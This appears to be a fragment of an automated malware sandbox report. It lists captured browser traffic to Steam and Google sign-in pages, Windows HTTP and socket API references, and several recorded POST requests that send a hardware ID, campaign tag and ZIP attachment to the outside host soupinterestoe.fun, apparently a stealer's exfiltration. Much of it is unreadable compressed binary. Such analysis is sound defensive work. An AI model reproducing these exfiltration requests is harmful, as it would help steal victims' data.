GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/css/shared_global.css?v=qp9K3iTcdW3n&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/css/login.css?v=q2b2ZBI1X2Yj&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/css/globalv2.css?v=GtBXfuM7ql2k&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/javascript/login.js?v=0BCNfXbnL2BC&l=english HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/javascript/applications/community/manifest.js?v=Xy2y6Kd8wf8G&l=english HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/javascript/applications/community/libraries~b28b7af69.js?v=CLhc0hTgCQ7J&l=english HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")54:T5f4,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003776-00000C26-67412085") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003776-00000C26-70814160") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003776-00000C26-74660591") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00003776-00000C26-74661365") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003776-00000C26-78880961") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003776-00000C26-78881396") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003776-00000C26-78881396") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003776-00000C26-78881396") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003776-00000C26-79471370") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003776-00000C26-79471370") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003776-00000C26-79515054") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00003776-00000C26-79519700") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003776-00000C26-79522746")55:Tce5,Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 58875Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "Content-Disposition: form-data; name=""; File: "00000000-00002216.00000003.76174.00400000.00000040.mdmp")56:T9798,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8Cj;Path=/;Expires=Wed, 24-Dec-2025 12:46:31 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-ar3iSBIUCKrtAZpGRxwjxQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Mon, 25 Dec 2023 12:46:31 GMTExpires: Mon, 25 Dec 2023 12:46:31 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8CjConnection: Keep-AliveDNT: 1" "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2rOYMlAtlcrxlYOzK0BcrPYRGEd65ng2sVt6du7MGTrnEVTZgfuunlEt_Fi-sHXdw3LEfUvA HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8Cj" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�e2PAj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Mon 25 Dec 2023 12:46:31 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2rOYMlAtlcrxlYOzK0BcrPYRGEd65ng2sVt6du7MGTrnEVTZgfuunlEt_Fi-sHXdw3LEfUvAStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Resource-Policy: cross-originContent-Security-Policy: script-src 'nonce-R0jgcpBUBsdRq00wWZBs2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportCross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp27CHb1tCj-Lw9alHc9D7g0kYGhTYrO2fMu0nDe81mVy-IjL_qgWPOo2_javDcqUigCJEesrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-402420521%3A1703508391954728&theme=glif HTTP/1.1Accept: text/html application/xhtml+xml */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8Cj", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Mon 25 Dec 2023 12:46:31 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp27CHb1tCj-Lw9alHc9D7g0kYGhTYrO2fMu0nDe81mVy-IjL_qgWPOo2_javDcqUigCJEesrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-402420521%3A1703508391954728&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Security-Policy: script-src 'nonce-QdDi7bNPmveZg0YBuf6s-w' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportContent-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportReport-To: {"group":"coop_gse_qebhlk" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0017f��RMo�@��+��)˪UZ�AA��z2��|�}Wlz��&;;��L�ʦ��Ԗl��.w�Z��5�9��^N� �-Y��m}Íg۲��0m��\c�'j��X��F��_%��\�\��d�3��Tᣲ̊gA�|�ViYtCJ��>M��'$LI*�=��@��S��(��x��>�>zI��8��*�?��Zќ��,�É��ɡc�%/6}I�踙E�&�q��P��HL�/��ڞ�էM��պ�"��̀"��+R�"b$=!t��%��b�`簍��_�H��8��t��1`�-%Qo�F=I��!5�2�2e^� Y��.��kcs�-~�.�", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYSet-Cookie: __Host-GAPS=1:qYmeb7NthL8mgJwKJauVQ704YkO18A:UN28Yt4ATxX_3t1Z; Expires=Wed, 24-Dec-2025 12:46:32 GMT; Path=/; Secure; HttpOnly; Priority=HIGHVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 25 Dec 2023 12:46:32 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-DTZrqkYffIbZUNk9lj6bRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Cross-Origin-Resource-Policy: same-siteAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�001a31=iw�Ʋ��+�d/Kl�r/�m��9--Р͒�L��ou��B`;�;7sRwuUuum]-��љ�(�w4��gJ��^#�t榓NI��H��N�K�.�6@[Hn��cڵ�^��a�T�mgTܱ��;0RC��y5�0Y��)��;��a)=E0[��II��3��Hw{R:�� Ǜ��"\��]2��c��v��T#5K�R�AH��\��T�c9]�y�F��7H��Sz��d� f�l�R(TEvw��E@pd�U~�9��;[��r�V5 ��ͼ��t%Ӂ��~�`��u\qpi\�v�c��O��o.��x�J�7�H�B��K˙|�Ӽ|�(�;L�-�l��ո]�Xf��=n�\�-T��V�-W4��?�j�R��r��xrͶS�E�A�eo��I��|֬^��@�x�;�-�%��ӓ>T��S�\*s�2�#�d��j��-�=l�o��-i��p7_�C/pW�$��r��M�Z`/VٽXn8A��R<|�ܔ|�{�+௏lA��K�y�p9��-�Mwb^__�wㅯ��~��Is|KC�s@<�X��)��S�c|�w4?�x�{��_J�xn&�B@��J7��x��{,��z��{n��c�`.��f�;��7O;�}��R��X7�q�۷!�1�߿c[��<|�c�H��|i�s�ys;�e�]��G��s1��~�জ+��Up�Y�M��i6[/|g� ��ִ�W��pn��^�]O��a�(�>��"c�3�-$�܆��P��g�]��L�e��Fc=��1��{`ե2h\p�b�.�w ��3�_��ț=izz��@ٕd}K�E��6�|K�}$�]G��:Y �ν}�bWET��+�PU�: {��!<�K��-�Y)"jM��JK��4��O;� �n�yھB�Cd;�^�5՞w��Т��x�~�Љ�v�ƴYp4S�b��]^;�`�/�%�yAE�Mo��K��ť��p؎l/.ǋf�+��d�p��kCҁ��b&kL�հ�6�i�<@�}�ޘ�IGI>��'߈�i��y�~S�b�uǚ��x��l�p;4�KD�"��Ȱ��g��>e��2��v��"��sW��Ƚ�@��:}^r7��H��չVh��^(=�SAm�:��*�&�_{ze��5�ZZޥ�u��m�ɶǒ�l�[0S��»�j�ΩMU��-ǽp�I(��)PH��h�-��aR�m$zFb��!X[ս%F�^/ز��;chycl��dR��:��C��\�*��Y��!.yw��~�0��W��P��c�8�Q��:��e��:χ�R<��P��4��A}��=Ǫ"�!�F�_�Y�68�jv��/��`��=^�"��q��:/ȧCV?@UN��2��s��" "��(t��F��"�j^�'��=I,z7�YH4 .O�=�BtSuu�õ��j@xv�9aD��fO�_hŗ8rk'W�?�G�r�d{��E��r�p�/M��s^��=ٺ��۪씛�\6�/�S��0��C�]�^�=��9�� Ge.n�%��>��c��gW�$��zr�"��G��y��tu��7��mK��t�g{��}v3]Ż��>�/_[��ᣨ�G�5��o��S��ҳ��q�j^Iy��KhT��*��#��c��Wu�Ժ�^�,��'��l-��q��!�^��|��Aٙ"g�a��Av��k�;�P/��Ɍ02�.a�8�(��<�.�ӧLu��M��d�&��6�d^��-��Ig_A�]�n�/ӖI�ͅ��}�n:@Y:(�&U9��?��ST��f�e�n4��R^�5��j��\��@�&6f�u�I��ysh�3�o�� l]��E�ʉٺ;E��R-k�P<�$b��l��wr��F��Eb�a�~��2��J�o��v�W��s�� 0�5�g��@�"��ؐ�N]��#&7��d��[��ɟ>�xe��HH��SH��yV�_,�֗Z� �9��|��x&"�"Ԥ��<��<[Z�! ${��&�7��W��7��uR�'�,[�2��t��8�O&�bv:�ob\a��c�5*�f��xy�I��o3Q�Bv��F򲴿ۊ��S_d�4��ا��3a^=Qt,�9��+�L�'�4�a�C��9q�W��k��p}��I4��FO=Q�ݾ��r�A��IO=]�Rb}��[��liq+�ch��Y4�]�v��#��8��dw�,fM��Œf�QY=�ϰ��z�}��M�ɀ��j.48M2e�z��E빲'�e�+%R+FPq��+�5�Zܽ�[�W��71J��Q��jMZ�f��2R�>��Ne��x�~h��ah6R��P��zev_��'BDQ+py��"*�}V�a&�?��ѐ��S�.�2��3Wj��ٲ�X�_Cb�>Z��xK�Ԋ��Zˡ��E�u�1<т��`i9�|��J�e��~2#�`2��4ۭ�C� �hR�1�E�2^i)TM�@Ti�5�)�#EJ��"X窘�͹��ѭ�ƹƫ�_��n��j��N��>��x��{I!��@��m"9lv�{?��U�xTosn~��"|>�)ҟG�F6zfҺ.K'R�k�@��&��f�]�G��_��c jE+병A��Z�g�H(��&Ӈ��$�Y�S�l|�?Y��v%ј,�o��p$��t�;(X�1$��Ƈۓ�8"�;�/�'ϗh�d=So+�'�'P��g�6f�lǴ�� ϕ��-��k*�o��h��#��o��G��:��ྋT)�A�"ʥk��E�@��xU.��zk�:��5ƽ��`w��&��$��j�|`a6�|��=�Q��a��&��ꃭk.��6��5֮�_jkI�.F#��-l�2[[�F�6jo�A\�ş�n΀��_.�GU#��EuM��C�JɌ���y��W�M��1z��-��Q WfȜj�"I��/뇄�X�#��1�7�fѹoݟ��j�f��J^�y�W�'��1�0f~y�A�;��0��T�C"rKf��.6x�/j�9��H��S��b{�H|V�gvᥘc��" "�b��G=�A%e��إ��t��\��-y��~��RZ[��W�O"��"ݒ��]��{�D��!�l~��]g��z�t��8�'��R#��b{�]��G�{Kg�!�ykI%��,=wQ�=�h��k��i�0�>vY=��<��@��m$E��/�T^(O�Z��;�#�-�:��y�!o��H��d�{c��~��#�Z�S�N��g��-�6��c�z��u�B�z!��mB�]��6?�{�O��ڣ��чm��0�,�YQd%��f��}`B��1��K��nryyc9q�˲��v��N:�Z��f��}�:Am��#�oq��$e��Z�1ξTI��O<�7��Inp%�@��P(%��!b��E��E��Ʀ��$��.��m!�cS��r�ʠ@%��"yk��e��S�$Dѱ�B��V`��\��W`�rg4��+|n6L.�� V9�5�Y��K4+?��O��5�+�3�U/D�p�[��/=�S�,L��" "00000001�0000000100000001k00000001o00000001�00000001800000001�00000001�00000001�00000001K00000001�0000000100000001�00000001�0aa9��N��\��mv�.��E�N,%N�l9M�~��"%�#>��l��(�X$�=�R��WV�2�r��1�uy%�o6��7��4��2*J�&2*:�<��i��G�%��Z�SϜ�P`a�E�(��{�*��PA.��YW��XQ��/��P��)YO=q %��R�OO�.ロ��:�p��.W/��Cdu�1��3��"��P1��tE?v��T��t9f��+��vҥ�R$�K��5�\u��I�(}�-5�fKcv�u�ڬ��.�ٝ�eD�a8m&�yy��l-�O��J�w�.�;ht��Et�p8Ze8�_�G)~]��F��v��vS��R$�8�*�ֱ��D�мƚ�X@l ǅ�F��v9J�"(�AP�ƞ��d;��y��Q�k�3#�c��V_X�j��V{9*�j�x��raE#B��J-��s��"K5��K5z�6ұR+7��X�#^�RͿn�˟l��Ҽ��y�A�E�{��\�C/z^V2��(�;�R��0"��py�_H��d�{�+�ӷ�$W��1�$��,��/&��$��[!��i��Ӱ��|B#\K��$|z2�sk��ҟ��5��y�{��'_NN<�a��C��_��4s'��/+��=�,xG��[cݻ��JmOԗ�kza.?�;��0�q�jvu��-1��P�k��)��a�ܸ��~'�u��O�*/f!f�rF��Ƃ%&�Be��u;j��׵)R��k2s�U>�G��O�i:��y>��-]��e��,h��)P�U��<��W�$-�*��I�2c�-1n��>;2�y�?3��%��FKr�rP|Q�.֗�~��S0X��w�6ų$��Ng��q��V�k� @�%�!: ��"e�S��4/��c�j-=��~��B/�w��9�J[�#�xkHR��Bq�n��,5��d��Am�܍��,sYq6�G�G��gCg{��_��Oh��Q��6�KSvu��i~ɬ��y��a��ו��u�x�u�W��|i��)IX�*��s�>��&�/�.�W�-gU��Q�A,"�cZ<ا�P��Q�p ��W�y�"��;��(��.��Cg��"h�γ�<�A�o4u��e�@�7��4(Z�&|��/Y��Ui�|�MFR��n�]\y��1u6#Ysp��~?&��,^=FJF�8��A��o��A ��<ߥB�?��BZ�SK)y��U��K%D�v�_��<��W�ůq&��$ֻ;��@yu��jp��Y��L��]��o(S��eJ(f�X�%j�T�*?o/v��6��M�,��7��+2��e��/�Յ��9��s-��|ރ�X~p�A?!S0tW�0�o��肛��hy�ߍ�kI��nP�ǣ��"IVqz��z��a�U�2�d�r�'��yE8�$(�7��x}�@U�&��&�`L��7��ϠD�6\��$k+�&��G~ LH΃)@�Pƴt�m �7�9i�["o�w)gn�u� ;�_��#��^ksp(4�(�Y��v��X�0��圧͒ו&�&cUO��e<�i�ҿ\/�cءN��"��Rhz�b�(O/l�=��.E�6�O%�C��{r?X�g�J~��aOG��=L�d��9P�,a{AU�+��~�_�'��Dd�ۗ��n�i�*�a��>^��u4�\��K��'�V�gq7��R��,��Z�Ap[y��;��", "�=v�w��+[+he�V%�~|W��.��w6��K�0\�Lq�R+��{�߇,��_��'�p�q2ZOӡ�G}s8M��@�i��3�>[_ƹ3�Y��I��~�|�f��C�?��~��H{M�@F��;{d��", "00000001�00000001]00000001Y00000001�00000001�0000000180000000100000001�00000001+0000000100000001�00000001e0000000100000001X00000001�00000001$1�ccfm��0G<�L��b;�y�V"�=��%��D+�b$��b�c�X,��Ty+;/�͡��*�-�Ѭ�%%k��Pw�<�6cqa��//�v��Ƈ(ItTUװ�A"�^g��/��|�2�V�B�32�c�w�iɿ��H��EKe@q֋¸�Vc5�#p��9_sX��`.B^c��T{c!5�VɇZ��ta3��$t��Ã�:�x1Pر ��ZҬ�,��Hݫ�lnlU�b��=q~�w�ncCJ)�:~ ��N�3<��v*B�b�� [�F�X�ۀ�n;H9��L��k��R��Ɓ0�&T9V��(,��H��̨On�W�$ӀX�B��X~J�W�|��V��DXM�93X��4��!�ٴ`h;J�i��D<�F䏱�I@<�� ;71��ő��H��r��>��Zn�Z�4�-%/�E��lJQ�w;�]C�A�y�g��75�{��ރ��+̸�v8��\�ׯY��h�.�:I>^��SCxF�Rm��y$=/\��f��W�G�gO�_Ϳ$Y��v�G�b�%��n��s�I z�F��G��*��0�T�3�ٸ�^�ڢ�'��<{!{+49#�$�8A�c��h��L.k��z��"�L��d�E&��C�s��&6�OD�x椗�)㜃˻I:Z��Ƿ��V%�T�Q�v��~�_z�\n��ڑͼ��mF��-*Y�µ�q��F�ED��I��'H�oє�Sq�!��]�U�j0��?ǟ��s�6�6��ݦ0ʕr��s��=��D�!X�i'%�T��Dl?*��ӰF��ߘ��~O�N6�� r�WY�x�d9mb�O��t�X�!��W�#�r�C��`��$��D"�z�_̳�P�)2�Y� ��V7�=3�c��t@S�L~g�B��Z�g�ᛰQ�|#�<��5��j�䇽V��6Z��&�?�a��(&k|3��,�9��+;|J�h]U�gN��L�]┧��t}7��v�w)N�ɑ��Oo��c⊘��@�$nCLr��{��o" "!b�&7 4��ȷ#��H�k̵qG��e(дZ��4`3.��.�d�5j:��=�TJA�mŨ�/�ˑ��Vt�[4(�×�q��wd�k.@#��/4�]uI+:�@��m�^��[f��oژ��%Y��!u��W��EY��΋Z�%K�#5�W��ۈ��:��!#��?=��k��i��"�Yr��b�V�u@�Ӯ$��3�p�3��Ɇܼ��!{�[�I��G��'T^�o��Eq2�6�Z��V�#X��4$%w4��%��8�ռV�>o7R��PZۗL��W�O&7X9՝P�\-aG��@r��"\��6u��8��a�c�f�垌U=|�d�osR�m^��\�=�5?D��uT�5��R��1v]u��7fB��&��6Ҫ.��r�ێl�_?��r��W|��T��U��>b��)F��y��C��ϙ'd�T$�T��T�ͩZG�@�l��E.��u��'��)/׳%*vF��7��+�n/�L��PU�FC�׉�蟸�:�٦�ޥ�4/~O~R�L��m��%1k�P0�O��/>�:��Wg��U��>/��YeB��oW�մ��?�Y�GGI��|ZTz�w�S/ᒖ�z�~[>�I�i�K�f2��򦤲�9��5��o��9�'S3h7��@L|w�:��*_��d��=��VIT|w-�B��MO��-B�'�T�a��MHk�і:�x��$�$�F?��;�n�k�Bi��9�E��h�/j��+yC�e�R��$�t�n`[�v��J��R&\��7?��s��>��Z5�d�a��f�XkB&�Ef�J��M��d�V)��z�I��n��l�; ^д�O��[��5��~D`ͳ$KWQ��)��HQ&qN�h��p�B��^WH��#L�f!��ꌷ��P��-��$C�C�qf��0|1�0��B�^A�t��Plي�e��[��12�~9��1P{�t�d�`3 D%M�[X�i{R1�P2�j�:aa�O�G<�K]ҫ�G�i�o&��z�7��2��<�Ž{.�My��㷟\ȫuUeM�a"k`��c�-�|=M?.�[Dz-��b2��l.&~廓�_dq�(��/��tֻ��+*aͩ)��a��B=K Vw��FEt�Y�+yHYaù�J��>�t|~k��W�g�I�7l�俳t��Q9��'Q�4��OaZ^e@L|#", 